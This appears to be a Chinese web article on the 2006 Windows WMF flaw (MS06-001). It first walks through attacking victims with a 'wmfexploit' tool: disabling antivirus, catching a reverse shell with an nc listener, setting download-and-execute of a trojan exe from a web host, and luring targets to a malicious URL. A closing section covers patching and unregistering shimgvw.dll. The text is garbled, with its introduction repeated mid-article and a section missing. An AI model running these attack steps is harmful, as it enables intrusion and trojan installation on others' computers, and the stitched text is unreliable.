注册
登录
| 关键词： 漏洞 文件 wmf 本机 Windows 黑客 恶意 反向 系统 运行 |
在刚迈入2006年之际，Windows系统出现了一个严重的漏洞，这就是Microsoft Windows图形渲染引擎wmf格式代码漏洞（ms0601）。这个漏洞出现在Windows的图形渲染引擎中，黑客可以构造恶意的wmf文件，引诱其他用户打开，当系统没有更新过wmf补丁时，将会执行黑客事先设置好的恶意代码，获取系统的最高权限，从而完全听命于黑客。就在漏洞公布几天后，网络上使用wmf漏洞进行传播的病毒、攻击事件不断，直至今日，网上仍然充斥着无数利用wmf漏洞的攻击。本文将向大家介绍有关wmf漏洞的知识及防范方法。 由于wmf漏洞涉及的Windows系统版本很多，包括从Windows 98到Windows 2003之间的所有系统版本，因此危害十分巨大。目前利用wmf漏洞的攻击主要包括两类：1.溢出攻击 2.利用漏洞制作的网页木马。前者可以让黑客得到系统的最高权限，后者则可以将受害者的电脑成为黑客的肉鸡。下面我们先来看看黑客是如何利用wmf漏洞的。 一.使用专用溢出工具 wmf漏洞的溢出工具在漏洞公布的几天后就出现在网上，虽然公布时间较早，存在一些缺陷，但是仍然能轻松得将存在漏洞的主机溢出。这款溢出工具名叫wmfexploit。下载后将其解压到c盘（由于溢出程序会被杀毒软件认为是病毒，因此测试时需要将杀毒软件关闭），点“开始”→“运行”，输入“CMD”运行“命令提示符”。在“命令提示符”中进入c盘，输入wmfexploit后就可以查看其使用说明了。其溢出方式有两种：1.反向溢出式 2.主动下载执行式。 1.反向溢出，穿透防火墙 反向溢出的最大好处就是可以穿透防火墙。同时由于wmf漏洞的特殊性，我们无法通过漏洞扫描器来确定哪台主机存在漏洞，因此可以使用反向连接，让有漏洞的主机主动连接本机。 在“命令提示符”中运行wmfexploit后，可以查看其反向溢出的使用说明。其使用方法如下：wmfexploit 1 <local host> <local port> <con host> <con port>。其中数字1代表的是溢出方式为反向连接，“<local host> <local port>”表示本机的IP地址和端口，这项的作用是在本机开启一个web服务，使目标可以访问本机的恶意wmf文件，从而造成溢出。最后的“<con host> <con port>”则是反向溢出返回shell时监听的IP地址和端口。这里举例为“wmfexploit 1 192.168.0.1 777 192.168.0.1 888”。设置好后回车，溢出程序会显示绑定成功! 图1.成功设置反向连接 设置完成后，我们进入“命令提示符”，然后运行著名的网络工具nc，输入如下命令“nc －vv －l －p 888”，这样nc就开始监听本机的888端口。接着我们就可以引诱目标访问我们的恶意wmf文件了。将网址“http：//192.168.0.1:777/any.wmf”发给对方即可。当目标打开这个地址时，就会运行我们捆绑有溢出信息的wmf文件。我们回到用nc监听的窗口，可以看到，目标主机已经成功溢出了。 图2.溢出后得到一个shell 提示：上文中提到的IP地址192.168.0.1，属于内网IP，只是方便进行本机测试，如果想对外网的主机进行测试，则需要将本机的内网IP改为外网IP。 2.下载执行，直接运行木马 除反向溢出外，wmfexploit还有一种溢出方式就是下载执行式。当目标主机运行恶意wmf文件发生溢出后，不会将shell发送到本机监听的端口上，而是直接从指定的网址上下载一个exe文件运行，这个文件可以是木马，也可以是其他程序。当然我们还需要有一个网页空间，用来放置需要执行的exe文件。 查看下载执行式溢出的使用方法：wmfexploit 2 <local host> <local port> <url to download>。数字2表示将溢出方式改为下载执行式，最后的<url to download>表示exe文件所在的网址。举例为“wmfexploit 2 192.168.0.1 777 http://www.***.com/123.exe”。设置完成后我们不需要用nc进行监听，只需发送网址“http：//192.168.0.1:777/any.wmf”即可。在刚迈入2006年之际，Windows系统出现了一个严重的漏洞，这就是Microsoft Windows图形渲染引擎wmf格式代码漏洞（ms0601）。这个漏洞出现在Windows的图形渲染引擎中，黑客可以构造恶意的wmf文件，引诱其他用户打开，当系统没有更新过wmf补丁时，将会执行黑客事先设置好的恶意代码，获取系统的最高权限，从而完全听命于黑客。就在漏洞公布几天后，网络上使用wmf漏洞进行传播的病毒、攻击事件不断，直至今日，网上仍然充斥着无数利用wmf漏洞的攻击。本文将向大家介绍有关wmf漏洞的知识及防范方法。 由于wmf漏洞涉及的Windows系统版本很多，包括从Windows 98到Windows 2003之间的所有系统版本，因此危害十分巨大。目前利用wmf漏洞的攻击主要包括两类：1.溢出攻击 2.利用漏洞制作的网页木马。前者可以让黑客得到系统的最高权限，后者则可以将受害者的电脑成为黑客的肉鸡。下面我们先来看看黑客是如何利用wmf漏洞的。四.填漏洞，防木马 由于wmf漏洞的公布时间较晚，因此网络上还有很多没有打好补丁的系统。无论是溢出还是网页木马，成功率都很高，这也给病毒和木马的传播提供了途径。在了解了黑客如何利用wmf漏洞后，我们再来看看如何才能填补漏洞，防范利用wmf漏洞的网页木马。 1.反注册dll文件 由于需要使用Windows Picture查看恶意wmf文件时才会触发溢出，因此如果不方便打系统补丁，可以先尝试反注册Windows Picture的dll文件Shimgvw.dll，反注册后Windows Picture将不能再运行，溢出也就不存在了。 反注册方法为：点“开始”→“运行”，输入“regsvr32 -u %windir%/system32/shimgvw.dll”即可。如果想恢复使用Windows Picture，可以输入“regsvr32 %windir%/system32/shimgvw.dll”重新注册。 图4.反注册Shimgvw.dll 2.使用漏洞补丁 目前微软已经发布了该漏洞的补丁程序，下载地址：http://www.microsoft.com/technet/security/Bulletin/MS06-001.mspx，这是最彻底也是最安全的修补方式。 如果不方便打微软提供的系统补丁，可以推荐使用第三方制作的补丁程序： 3.警惕未知图片文件 如果恶意的wmf文件放在网页空间中，我们在访问这个恶意wmf文件时会产生不同的情况，Win2000主要表现为出现下载提示框，要求下载wmf文件。而WinXP和Win2003则会弹出Windows图片查看器，图片的内容则无法显示。碰到这种情况时，我们就应该小心了，很有可能这个wmf文件就带有溢出信息。当然不一定只有wmf为后缀的图片文件才可能触发溢出，其他诸如jpg、bmp等图片格式只要经过构造，同样可以进行溢出。因此我们要对不明图片多加小心，黑客往往会为恶意图片文件取一个诱人的名字，引诱别人打开。 图5.打开恶意wmf文件时的表现 此外，升级杀毒软件是必须的，最新的杀毒软件病毒库都已将恶意wmf文件列为病毒。 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
